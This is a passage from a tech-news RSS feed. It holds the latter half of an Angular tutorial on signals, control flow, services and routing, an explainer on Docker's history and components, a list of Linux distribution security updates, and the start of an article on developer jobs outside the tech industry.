<p class="wp-block-paragraph">This flow will be different if you are using server-side rendering (SSR), but we’ll leave that option aside for now. Now that you’ve seen the basic architecture, let’s get into the code.</p>



<h2 class="wp-block-heading">Developing your first web app in Angular</h2>



<p class="wp-block-paragraph">If you open <code>src/app/app.ts</code> (more info <a href="http://app.ts/">here</a>) the component definition looks like this:</p>



<pre class="wp-block-code"><code>import { Component, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  protected readonly title = signal('iw-ng');
}</code></pre>



<p class="wp-block-paragraph">Before we dissect the code, let’s run the app and see what it produces:</p>



<pre class="wp-block-code"><code>$ ng serve</code></pre>



<p class="wp-block-paragraph">You should see a page like this one at <code>localhost:4200</code>:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular2.png?w=1024" alt="A screenshot of a Hello, World! app built with Angular." class="wp-image-4123772" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">Returning to the <code>src/app.ts</code> component, notice that there are three main parts of the definition: the class, the metadata, and the view. Let’s unpack these separately.</p>



<h3 class="wp-block-heading">The class (export class App)</h3>



<p class="wp-block-paragraph">Export class <code>App</code> is vanilla TypeScript that holds your component’s data and logic. In our example, <code>title = signal(‘iw-ng’)</code> defines a piece of reactive state. Unlike older versions of Angular where data was just a plain property, here we use a <a href="https://www.solidjs.com/tutorial/introduction_signals">signal</a>. Signals are wrappers around values that notify the template precisely when they change, enabling fine-grained performance.</p>



<h3 class="wp-block-heading">The metadata (@Component)</h3>



<p class="wp-block-paragraph">The <code>@Component</code> decorator tells Angular it is dealing with a component, not just a generic class. There are several elements involved in the decorator’s communication with the engine:</p>



<ul class="wp-block-list">
<li><code>selector: 'app-root'</code>: Defines the custom HTML tag associated with any given component. Angular finds <code></code> in your <code>index.html</code> and renders the component there.</li>



<li><code>imports</code>: In the new Angular era, dependencies are explicit. You list exactly what a component needs (like <code>RouterOutlet</code> or other components) here, rather than hiding them in a separate module file.</li>



<li><code>templateUrl</code>: Points to the external HTML file that defines the view.</li>
</ul>



<h3 class="wp-block-heading">The view (the template)</h3>



<p class="wp-block-paragraph">This is the visual part of the component, defined in <code>app.html</code>. It combines standard HTML with Angular’s template syntax. (JSX handles this part for React-based apps.)</p>



<p class="wp-block-paragraph">We can modify <code>src/app/app.html</code> to see how these three elements work together. To start, delete the default content and add the following:</p>



<pre class="wp-block-code"><code><h1>Hello, {{ title() }}</h1>
</code></pre>



<p class="wp-block-paragraph">The double curly braces <code>{{ }}</code> are called <a href="https://angular.dev/guide/templates/binding">interpolation</a>. Notice the parentheses in <code>title()</code>. We are reading the “title” signal value by calling its function. If you were to update that signal programmatically (e.g., <code>this.title.set('New Value')</code>), the text on the screen would update instantly.</p>



<h2 class="wp-block-heading">Angular’s built-in control flow</h2>



<p class="wp-block-paragraph">Old-school Angular required “structural directives” like <code>*ngIf</code> and <code>*ngFor</code> logic control. These were powerful but required importing <code>CommonModule</code> and learning a specific micro-syntax. Modern Angular uses a built-in control flow that looks like standard JavaScript (similar to other Reactive platforms).</p>



<p class="wp-block-paragraph">To see the new control flow in action, let’s add a list to our component. Update <code>src/app/app.ts</code> as follows, leaving the rest of the file the same:</p>



<pre class="wp-block-code"><code>export class App {
  protected readonly title = signal('iw-ng');
  protected readonly frameworks = signal(['Angular', 'React', 'Vue', 'Svelte']);
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v =&gt; !v);
  }
}</code></pre>



<p class="wp-block-paragraph">While we’re at it, let’s also update <code>src/app/app.html</code> to render this new list (don’t worry about <code></code> for now; it just tells Angular where to render the framing template):</p>



<pre class="wp-block-code"><code><button>Toggle List</button>

@if (showList()) {
  <ul>
    @for (tech of frameworks(); track tech) {
      <li>{{ tech }}</li>
    }
  </ul>
} @else {
  <p>List is hidden</p>
}

</code></pre>



<p class="wp-block-paragraph">The app will now display a list that can be toggled for visibility:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular3.png?w=1024" alt="Screenshot of a list that can be toggled on and off for visibility." class="wp-image-4123773" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">This syntax is cleaner and easier to read than the old <code>*ngFor</code> loops:</p>



<ul class="wp-block-list">
<li><code>@if</code> conditionally renders the block if the signal’s value is true.</li>



<li><code>@for</code> iterates over the array. The track keyword is required for performance (it tells Angular how to identify unique items in the list).</li>



<li><code>(click)</code> is an <a href="https://angular.dev/guide/templates/event-listeners">event binding</a>. It lets us run code (the <code>toggleList</code> method) when the user interacts with the button.</li>
</ul>



<h2 class="wp-block-heading">Services: Managing business logic in Angular</h2>



<p class="wp-block-paragraph">Components focus on the view (i.e., what you see). For the business logic that backs the application functionality, we use services.</p>



<p class="wp-block-paragraph">A service is just a class that can be “injected” into a component that needs it. This is Angular’s famous dependency injection system. It allows you to write logic once and reuse it anywhere. It’s a slightly different way of thinking about how an application is wired together, but it gives you real organizational benefits over time.</p>



<p class="wp-block-paragraph">To generate a service, you can use the CLI:</p>



<pre class="wp-block-code"><code>$ ng generate service frameworks</code></pre>



<p class="wp-block-paragraph">This command creates a <code>src/app/hero.ts</code> file. In modern Angular, we define services using the <code>@Injectable</code> decorator. Currently, the <code>src/app/hero.ts</code> file just has this:</p>



<pre class="wp-block-code"><code>import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root',
})
export class Frameworks {
  
}</code></pre>



<p class="wp-block-paragraph">Open the file and add a simple method to return our data:</p>



<pre class="wp-block-code"><code>import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root', // Available everywhere in the app
})
export class Frameworks {
  getList() {
    return ['Angular', 'React', 'Vue', 'Svelte'];
  }
}</code></pre>



<p class="wp-block-paragraph">The providedIn: <code>'root'</code> metadata is important, it tells Angular to create a single, shared instance of this service for the entire application (you might recognize this as an instance of the <a href="https://en.wikipedia.org/wiki/Singleton_pattern">singleton pattern</a>).</p>



<h3 class="wp-block-heading">Using the service</h3>



<p class="wp-block-paragraph">In the past, we had to list dependencies in the constructor. Modern Angular offers a cleaner way: the <code>inject()</code> function. Subsequently, we can refactor our <code>src/app/app.ts</code> to get its data from the service instead of hardcoding it:</p>



<pre class="wp-block-code"><code>import { Component, inject, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';
import { Frameworks } from './frameworks'; // Import the service

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  private frameworksService = inject(Frameworks); // Dependency Injection
  
  protected readonly title = signal('iw-ng');
  
  // Initialize signal with data directly from the service
  protected readonly frameworks = signal(this.frameworksService.getList());
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v =&gt; !v);
  }
}</code></pre>



<p class="wp-block-paragraph">Dependency injection is a powerful pattern. The component doesn’t need to know where the list came from (it could be coming from an API, a database, or a hard-coded array); it just asks the service for what it needs. This pattern adds a bit of extra work up front, but it delivers a more flexible, organized codebase as the app grows in size and complexity.</p>



<h2 class="wp-block-heading">Routers and routes</h2>



<p class="wp-block-paragraph">Once your application grows beyond a single view, you need a way to navigate between different screens. In Angular, we use the built-in router for this purpose. In our example project, <code>src/app/app.routes.ts </code>is the dedicated home for the router config. Let’s follow the steps for creating a new route.</p>



<p class="wp-block-paragraph">First, we define the route. When you open <code>src/app/app.routes.ts</code>, you will see an exported routes array. This array contains the available routes for your app. Each string name resolves to a component that handles rendering that route. In effect, this is the map of your application’s landscape.</p>



<p class="wp-block-paragraph">In a real application, you’d often have “framing template” material in the root of the app (like the navbar) and then the routes fill in the body content. (Remember that by default, Angular is designed for single-page apps, where navigation does reload the screen, but swaps content.)</p>



<p class="wp-block-paragraph">For now, let’s just get a sense of how the router works. First, create a new component so we have a destination to travel to. In your terminal, run:</p>



<pre class="wp-block-code"><code>$ ng generate component details</code></pre>



<p class="wp-block-paragraph">This will generate a simple <code>details</code> component in the <code>src/app/details</code> directory.</p>



<p class="wp-block-paragraph">Now we can update <code>src/app/app.routes.ts</code> to include this new path. We will also add a “default” path that redirects empty requests to the home view, ensuring the user always lands somewhere:</p>



<pre class="wp-block-code"><code>import { Routes } from '@angular/router';
import { App } from './app'; // Matches src/app/app.ts
import { Details } from './details/details'; // Matches src/app/details/details.ts

export const routes: Routes = [
  { path: '', redirectTo: '/home', pathMatch: 'full' },
  { path: 'home', component: App },
  { path: 'details', component: Details },
];</code></pre>



<p class="wp-block-paragraph">Now if you visit <code>localhost:4200/home</code>, you’ll get the message from the <code>details</code> component: “Details works!”</p>



<p class="wp-block-paragraph">Next, we’ll use the <code>routerLink</code> directive to move between views without refreshing the page. In <code>src/app/app.html</code>,  we create a navigation bar that sits permanently at the top of the page (the “stationary” element), while the router swaps the content below it (the “impermanent” element):</p>



<pre class="wp-block-code"><code><nav>
  <a>Home</a> | 
  <a>Details</a>
</nav>

<hr>

</code></pre>



<p class="wp-block-paragraph">And with that, the application has a navigation flow. The user clicks, the URL updates, and the content transforms, all without the jarring flicker of a browser reload.</p>



<h2 class="wp-block-heading">Parametrized routes</h2>



<p class="wp-block-paragraph">The last thing we’ll look at is handling route parameters, where the route accepts variables in the path. To manage this kind of dynamic data, you define a route with a variable, marked by a colon. Open <code>src/app/app.routes.ts</code> and add a dynamic path:</p>



<pre class="wp-block-code"><code>export const routes: Routes = [
  // ... existing routes
  { path: 'details/:id', component: Details }, 
];</code></pre>



<p class="wp-block-paragraph">The <code>:id</code> is a placeholder. Whether the URL is <code>/details/42</code> or <code>/details/108</code>, this router will receive it because it matches the path. Inside the details component, we have access to this parameter (using the <a href="https://angular.dev/api/router/ActivatedRoute">ActivatedRoute</a> service or the new <a href="https://angular.dev/api/router/withComponentInputBinding">withComponentInputBinding</a>). We can use that value to retrieve the data we need (like using it to recover a detail item from a database).</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">We have seen the core elements of modern Angular: Setting up the environment, building reactive components with signals, organizing logic with services, and tying it all together with interactive routing.</p>



<p class="wp-block-paragraph">Deploying these pieces together is the basic work in Angular. Once you get comfortable with it, you have an extremely powerful platform at your fingertips. And, when you are ready to go deeper, there is a whole lot more to explore in Angular, including:</p>



<ul class="wp-block-list">
<li>State management: Beyond signals, Angular has support for managing complex, application-wide state.</li>



<li>Forms: Angular has a robust system for handling user input.</li>



<li>Signals: We only scratched the surface of signals here. Signals offer a powerful, fine-grained way to manage state changes.</li>



<li>Build: You can learn more about producing production builds.</li>



<li><a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">RxJS</a>: Takes reactive programming to the next level.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is Docker? The spark for the container revolution]]></title>
<description><![CDATA[Docker is a software platform for building applications based on containers—small and lightweight execution environments that make shared use of the operating system kernel but otherwise run in isolation from one another. While containers have been used in Linux and Unix systems for some time, Do...]]></description>
<link>https://tsecurity.de/de/3665663/ai-nachrichten/what-is-docker-the-spark-for-the-container-revolution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665663/ai-nachrichten/what-is-docker-the-spark-for-the-container-revolution/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:23 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Docker is a software platform for building applications based on <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">containers</a>—small and lightweight execution environments that make shared use of the operating system kernel but otherwise run in isolation from one another. While containers have been used in Linux and Unix systems for some time, Docker, an open source project launched in 2013, helped popularize the technology by making it easier than ever for developers to package their software to “build once and run anywhere.”</p>



<h2 class="wp-block-heading">A brief history of Docker</h2>



<p class="wp-block-paragraph">Founded as DotCloud in 2008 by Solomon Hykes in Paris, what we now know as Docker started out as a <a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">platform as a service (PaaS)</a> before <a href="https://www.docker.com/blog/dotcloud-is-becoming-docker-inc/">pivoting in 2013</a> to focus on democratizing the underlying software containers its platform was running on.</p>



<p class="wp-block-paragraph"><a href="https://www.youtube.com/watch?v=362sHaO5eGU">Hykes first demoed Docker</a> at PyCon in March 2013, explaining that Docker was created because developers kept asking for the underlying technology powering the DotCloud platform. “We did always think it would be cool to be able to say, ‘Yes, here is our low-level piece. Now you can do Linux containers with us and go do whatever you want, go build your platform.’ So that’s what we are doing.”</p>



<p class="wp-block-paragraph">And so, Docker was born, with the open source project quickly picking up traction with developers and attracting the attention of high-profile technology providers like Microsoft, IBM, and Red Hat, as well as venture capitalists willing to pump millions of dollars into the innovative startup. The container revolution had begun.</p>



<h2 class="wp-block-heading">What are containers?</h2>



<p class="wp-block-paragraph">As Hykes described it in his PyCon talk, containers are “self-contained units of software you can deliver from a server over there to a server over there, from your laptop to EC2 to a bare-metal giant server, and it will run in the same way because it is isolated at the process level and has its own file system.”</p>



<p class="wp-block-paragraph">The components for doing this have long existed in operating systems like Linux. By simplifying their use and giving these bits a common interface, Docker quickly became close to a de facto industry standard for containers. Docker let developers deploy, replicate, move, and back up a workload in a single, streamlined way, using a set of reusable images to make workloads more portable and flexible than previously possible.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Why you should use Docker and OCI containers</a>.</strong></p>



<p class="wp-block-paragraph">In the virtual machine (VM) world, something similar could be achieved by keeping applications separate while running on the same hardware. But each VM requires its own operating system, meaning VMs are typically large, slow to start up, difficult to move around, and cumbersome to maintain and upgrade.</p>



<p class="wp-block-paragraph">Containers represent a defined shift from the VM era, in that they isolate execution environments while sharing the underlying OS kernel. As a result, they are speedier and far more lightweight than VMs.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image large"><a class="zoom" href="https://legacy-us-images.foundryco.app/images/article/2017/06/virtualmachines-vs-containers-100727624-orig.jpg" rel="nofollow"><img width="400px" loading="lazy" src="https://legacy-us-images.foundryco.app/images/article/2017/06/virtualmachines-vs-containers-100727624-large.jpg" alt="virtualmachines vs containers"></a><figcaption class="wp-element-caption">
<p>Stacking up the virtualization and container infrastructure stacks.</p>
</figcaption></figure></div>



<h2 class="wp-block-heading">Docker: The component parts</h2>



<p class="wp-block-paragraph">Docker took off with software developers as a novel way to package the tools required to build and launch a container. It was more streamlined and simplified than anything previously possible. Broken down into its component parts, Docker consists of the following:</p>



<ul class="wp-block-list">
<li><strong>Dockerfile</strong>: Each Docker container starts with a Dockerfile. This text file provides a set of instructions to build a Docker image, including the operating system, languages, environmental variables, file locations, network ports, and any other components it needs to run. Provide someone with a Dockerfile and they can recreate the Docker image wherever they please, although the build process takes time and system resources.</li>



<li><strong>Docker image</strong>: Like a snapshot in the VM world, a Docker image is a portable, read-only executable file. It contains the instructions for creating a container and the specifications for which software components to run and how the container will run them. Docker images are far larger than Dockerfiles but require no build step: They can boot and run as-is.</li>



<li><strong>Docker run utility</strong>: Docker’s run utility is the command that launches a container. Each container is an instance of an image, and multiple instances of the same image can be run simultaneously.</li>



<li><strong>Docker Hub</strong>: Docker Hub is a repository where container images can be stored, shared, and managed. Think of it as Docker’s own version of GitHub, but specifically for containers.</li>



<li><strong>Docker Engine</strong>: Docker Engine is the core of Docker. It is the underlying client-server technology that creates and runs the containers. The Docker Engine includes a long-running daemon process called dockerd for managing containers, APIs that allow programs to communicate with the Docker daemon, and a command-line interface.</li>



<li><strong>Docker Compose</strong>: Docker Compose is a command-line tool that uses YAML files to define and run multicontainer Docker applications. It allows you to create, start, stop, and rebuild all the services from your configuration and view the status and log output of all running services.</li>



<li><strong>Docker Desktop</strong>: All of these component parts are wrapped in Docker’s Desktop application, providing a user-friendly way to build and share containerized applications and <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a>.</li>
</ul>



<h2 class="wp-block-heading">Advantages of Docker</h2>



<p class="wp-block-paragraph">Docker containers provide a way to build applications that are easier to assemble, maintain, and move around than previous methods allowed. That provides several advantages to software developers:</p>



<ul class="wp-block-list">
<li><strong>Docker containers are minimalistic and enable portability</strong>: Docker helps to keep applications and their environments clean and minimal by isolating them, which allows for more granular control and greater portability.</li>



<li><strong>Docker containers enable composability</strong>: Containers make it easier for developers to compose the building blocks of an application into a modular unit with easily interchangeable parts, which can speed up development cycles, feature releases, and bug fixes.</li>



<li><strong>Docker containers make orchestration and scaling easier</strong>: Because containers are lightweight, developers can launch many of them for better scaling of services, and each container instance launches many times faster than a VM. These clusters of containers do then need to be orchestrated, which is where a platform like <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a> typically comes in.</li>
</ul>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3529526/how-to-succeed-with-kubernetes.html">How to succeed with Kubernetes</a>.</strong></p>



<h2 class="wp-block-heading">Drawbacks of Docker</h2>



<p class="wp-block-paragraph">Containers solve a great many problems, but they don’t solve them all. Common complaints about Docker include the following:</p>



<ul class="wp-block-list">
<li><strong>Docker containers are not virtual machines</strong>: Unlike virtual machines, containers use controlled portions of the host operating system’s resources, which means elements aren’t as strictly isolated as they would be on a VM.</li>



<li><strong>Docker containers don’t provide bare-metal speed</strong>: Containers are significantly more lightweight and closer to the metal than virtual machines, but they do incur some performance overhead. If your workload requires bare-metal speed, a container will get you close but not all the way there.</li>



<li><strong>Docker containers are stateless and immutable</strong>: Containers boot and run from an image that describes their contents. That image is immutable by default—once created, it doesn’t change. But a container <em>instance</em> is transient. Once removed from system memory, it’s gone forever. If you want your containers to persist state across sessions, like a virtual machine, you need to design for that persistence.</li>
</ul>



<h2 class="wp-block-heading">Docker today</h2>



<p class="wp-block-paragraph">Container usage has continued to grow in tandem with <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html">cloud-native development</a>, now the dominant model for building and running software. But these days, Docker is only a part of that puzzle.</p>



<p class="wp-block-paragraph">Docker grew popular because it made it easy to move the code for an application and its dependencies from the developer’s laptop to a server. But the rise of containers led to a shift in the way applications were built—from monolithic stacks to <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">networks of microservices</a>. Soon, many users needed a way to orchestrate and manage groups of containers at scale.</p>



<p class="wp-block-paragraph">Launched at Google, the <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a> open source project quickly emerged as the best way to orchestrate containers, superseding Docker’s own attempts to solve this problem with <a href="https://boxboat.com/2019/12/10/migrate-docker-swarm-to-kubernetes/">Docker Swarm (RIP)</a>. Amidst increasing funding trouble, Docker eventually sold its enterprise business to Mirantis in 2019, which has since absorbed Docker Enterprise into the Mirantis Kubernetes Engine.</p>



<p class="wp-block-paragraph">The remains of Docker—which includes the original open source Docker Engine container runtime, Docker Hub image repository, and Docker Desktop application—live on under the leadership of company veteran Scott Johnston, who is looking to reorient the business around its core customer base of software developers.</p>



<p class="wp-block-paragraph">The Docker Business subscription service, and the revised Docker Desktop product, both reflect those new goals: Docker Business offers tools for managing and rapidly deploying secure Docker instances, and Docker Desktop requires paid usage for organizations with more than $10 million in annual revenue and 250 or more employees. But there’s also the Docker Personal subscription tier, for individuals and companies that fall below those thresholds, so end users still have access to many of Docker’s offerings.</p>



<p class="wp-block-paragraph">Docker has other offerings suited to the changing times. <a href="https://docs.docker.com/dhi/">Docker Hardened Images</a>, available in both free and enterprise tiers, provide application images with smaller attack surfaces and checked software components for better security. And, in step with the <a href="https://www.infoworld.com/artificial-intelligence/">AI revolution</a>, the <a href="https://docs.docker.com/ai/mcp-catalog-and-toolkit/">Docker MCP Catalog and Toolkit</a> provide Dockerized versions of tools that give AI applications broader functionality (such as by allowing access to the file system), making it easier to deploy AI apps with less risk to the surrounding environment.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by Debian (chromium, libxfont, mesa, opam, and wireless-regdb), Fedora (acl, attr, chromium, cjson, composer, docker-compose, jfrog-cli, librabbitmq, libssh2, libXfont2, log4cxx, OpenImageIO, openssh, p11-kit, perl-Crypt-DSA, perl-HTML-Gumbo, prometheus, python-d...]]></description>
<link>https://tsecurity.de/de/3665263/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665263/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 13 Jul 2026 14:41:08 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (chromium, libxfont, mesa, opam, and wireless-regdb), <b>Fedora</b> (acl, attr, chromium, cjson, composer, docker-compose, jfrog-cli, librabbitmq, libssh2, libXfont2, log4cxx, OpenImageIO, openssh, p11-kit, perl-Crypt-DSA, perl-HTML-Gumbo, prometheus, python-dulwich, python-idna, python-pillow, python-tornado, sssd, tmux, upower, webkitgtk, xorg-x11-server, and xorg-x11-server-Xwayland), <b>Mageia</b> (libarchive and vim), <b>Oracle</b> (389-ds:1.4, buildah, cups, edk2, freerdp, golang, grafana, gstreamer1-plugins-bad-free, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, kernel, libexif, libsolv, libtasn1, libxml2, nginx:1.24, nginx:1.26, nodejs:22, nodejs:24, oci-seccomp-bpf-hook, podman, postgresql:18, python-urllib3, tigervnc, tomcat, unbound, and xorg-x11-server), <b>Slackware</b> (p11-kit), and <b>SUSE</b> (agama, dash, dracut, flannel, go1.26, gsasl, gstreamer-plugins-good, ImageMagick, imagemagick, kernel, krb5, krb5, krb5-mini, libIex-3_4-33, libmbedtls23, libxfont2, nasm, nghttp2, perl-CGI-Session, perl-dbi, perl-List-SomeUtils-XS, python-pillow, python-social-auth-app-django, python-urllib3, python313-Django4, python313-Django6, python313-pytest-html, python313-sqlparse, python313-websockets, rclone, rust-keylime, rustup, sccache, spectre-meltdown-checker, sssd, terraform-provider-aws, terraform-provider-azurerm, terraform-provider-external, terraform-provider-google, terraform-provider-helm, terraform-provider-kubernetes, terraform-provid, thunderbird, tiff, traefik2, xorg-x11-server, and xwayland).]]></content:encoded>
</item>
<item>
<title><![CDATA[Where the software development jobs are now]]></title>
<description><![CDATA[While many technology companies have slowed hiring or even launched significant layoffs, that doesn’t mean job opportunities have dried up for software developers. In fact, skilled developers—particularly those with knowledge of AI—are in demand in other industries.



The key to success for deve...]]></description>
<link>https://tsecurity.de/de/3664782/ai-nachrichten/where-the-software-development-jobs-are-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664782/ai-nachrichten/where-the-software-development-jobs-are-now/</guid>
<pubDate>Mon, 13 Jul 2026 11:33:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>While many technology companies have slowed hiring or even launched <a href="https://www.trueup.io/layoffs" data-type="link" data-id="https://www.trueup.io/layoffs">significant layoffs</a>, that doesn’t mean job opportunities have dried up for software developers. In fact, skilled developers—particularly those with <a href="https://www.infoworld.com/article/4025073/9-ai-development-skills-tech-companies-want.html" data-type="link" data-id="https://www.infoworld.com/article/4025073/9-ai-development-skills-tech-companies-want.html">knowledge of AI</a>—are in demand in other industries.</p>



<p>The key to success for developers looking to snatch up these roles is to be well-prepared to meet the needs of potential employers in a variety of sectors.</p>



<p>“The demand for developers in non-tech sectors is real and growing, but the roles look different from what you’d find at a software company,” says <a href="https://drexel.edu/cci/about/directory/A/Awasthi-Pragati/" data-type="link" data-id="https://drexel.edu/cci/about/directory/A/Awasthi-Pragati/">Pragati Awasthi</a>, assistant teaching professor of AI and data science at Drexel University.</p>



<p>“Across all these sectors, the common thread is that software is no longer a support function; it is embedded in core operations,” Awasthi says. “The developer in these environments is often the person translating domain-specific business problems into technical solutions, which requires a different profile than a pure product engineer at a tech firm.”</p>



<h2 class="wp-block-heading">Opportunity knocks</h2>



<p>The tech industry has long been a mainstay as far as employing software developers. But as these businesses trim staffs in efforts to cut expenses, that has impacted the hiring landscape. Even as the tech sector scales back, however, companies in industries such as financial services/fintech, healthcare/healthtech, retail/ecommerce, and manufacturing are looking to acquire programming talent.</p>



<p>“The unifying factor is data complexity,” Awasthi says. “These industries generate large volumes of sensitive, regulated, or operationally critical data, and they need developers who can build and maintain systems that handle it responsibly.”</p>



<p>While recruiting firm Summit Search Group has placed developers in roles with technology companies, “it is just as common to recruit them for roles outside this niche,” says <a href="https://www.linkedin.com/in/matterhard/" data-type="link" data-id="https://www.linkedin.com/in/matterhard/">Matt Erhard</a>, managing partner at the company. “There are actually a fairly wide variety of roles available for developers in industries beyond tech,” Erhard says.</p>



<p>For example, in financial services Summit Search Group has seen significant hiring for back-end and data engineers who can build and maintain fraud detection systems, digital banking platforms, and regulatory tools, Erhard says. In healthcare, companies are hiring developers to build AI-driven diagnostics platforms and patient portals, or to work with systems that manage electronic health records, he says.</p>



<p>In manufacturing and industrial companies, developers are needed for systems integration and embedded software related to predictive maintenance, <a href="https://www.networkworld.com/article/963923/what-is-iot-the-internet-of-things-explained.html" data-type="link" data-id="https://www.networkworld.com/article/963923/what-is-iot-the-internet-of-things-explained.html">Internet of Things</a> (IoT) systems, and smart factories. And in retail and ecommerce, there’s strong demand for <a href="https://www.infoworld.com/article/2259033/full-stack-developer-what-it-is-and-how-you-can-become-one.html" data-type="link" data-id="https://www.infoworld.com/article/2259033/full-stack-developer-what-it-is-and-how-you-can-become-one.html">full-stack developers</a> and data developers who can handle logistics systems, omni-channel platforms, and personalization engines, Erhard says.</p>



<p>“One significant function where we’ve been placing developer talent lately is in developing business systems and internal applications,” Erhard says. These roles often have titles such as systems engineer or application developer, and professionals are hired to handle tasks such as customizing customer relationship management (CRM) or enterprise resource planning (ERP) platforms, building workflow automation tools or modernizing legacy systems, he says.</p>



<p>Other core functions for which Summit Search Group has placed a lot of developers include data, analytics, and AI-enablement. “That could be directly involved with <a href="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html">data engineering</a> or in building tools like reporting systems and <a href="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2263668/data-wrangling-and-exploratory-data-analysis-explained.html">ETL [extract, transform, load]</a> pipelines,” Erhard says.</p>



<p>The firm also has handled searches for developers who can build and maintain customer-facing products for banking, healthcare, and retail companies, such as mobile apps or digital platforms customers can use to interact with companies.</p>



<p>Randstad Digital, a provider of global technology talent, sees demand for roles including web developers, system developers, and app developers. “These professionals would work on anything from customer-facing platforms to internal tools,” says <a href="https://www.linkedin.com/in/mpmorris36/" data-type="link" data-id="https://www.linkedin.com/in/mpmorris36/">Michael Morris</a>, global head of platform and talent at the company. “Non-tech companies are also often hiring roles like software architecture and <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">devops</a> to help scale existing technology. These involve being more ingrained in the business, like building a supply chain system for a retailer, rather than creating individual tech products like you would at a technology company.”</p>



<h2 class="wp-block-heading">Prep for success</h2>



<p>To increases the chances of success at landing developer jobs outside of the tech industry, development professionals would be wise to follow some good practices.</p>



<h3 class="wp-block-heading">Boost AI skills</h3>



<p>One best practice is to boost skills in using AI-powered tools and get familiar with all things AI.</p>



<p>“Get fluent with AI-assisted development and its limits,” Awasthi says. “This is not optional. Organizations across every sector expect developers to use AI coding tools productively. But the more durable skill is knowing when AI output is wrong, incomplete, or unsuitable for a regulated context. That critical evaluation capacity is what non-tech employers are increasingly trying to hire.”</p>



<p>AI does not necessarily replace the need for human developers so much as it changes the skills profile for those roles, Erhard says. “The biggest difference in recent years is that AI literacy is now a non-negotiable,” he says. “At minimum, developers today need to understand concepts like <a href="https://www.infoworld.com/article/4122440/what-is-prompt-engineering-the-art-of-ai-orchestration.html" data-type="link" data-id="https://www.infoworld.com/article/4122440/what-is-prompt-engineering-the-art-of-ai-orchestration.html">prompt engineering</a> and how to use AI tools to improve their efficiency.”</p>



<p>One thing many job candidates don’t expect is that the rise of AI has also increased the importance of high-level skills such as problem framing, system design, and cross-functional communication,” Erhard says. “Essentially, if something is related to development but too complex or nuanced for an AI to handle effectively, then the demand is high for human developers who have that expertise,” he says.</p>



<p>Candidates who land roles consistently have experience building AI-augmented workflows along with standard coding skills, Erhard says. “Employers increasingly expect to hire developers who can leverage AI, so demonstrating this experience on your résumé can be very beneficial,” he says.</p>



<h3 class="wp-block-heading">Gain domain knowledge</h3>



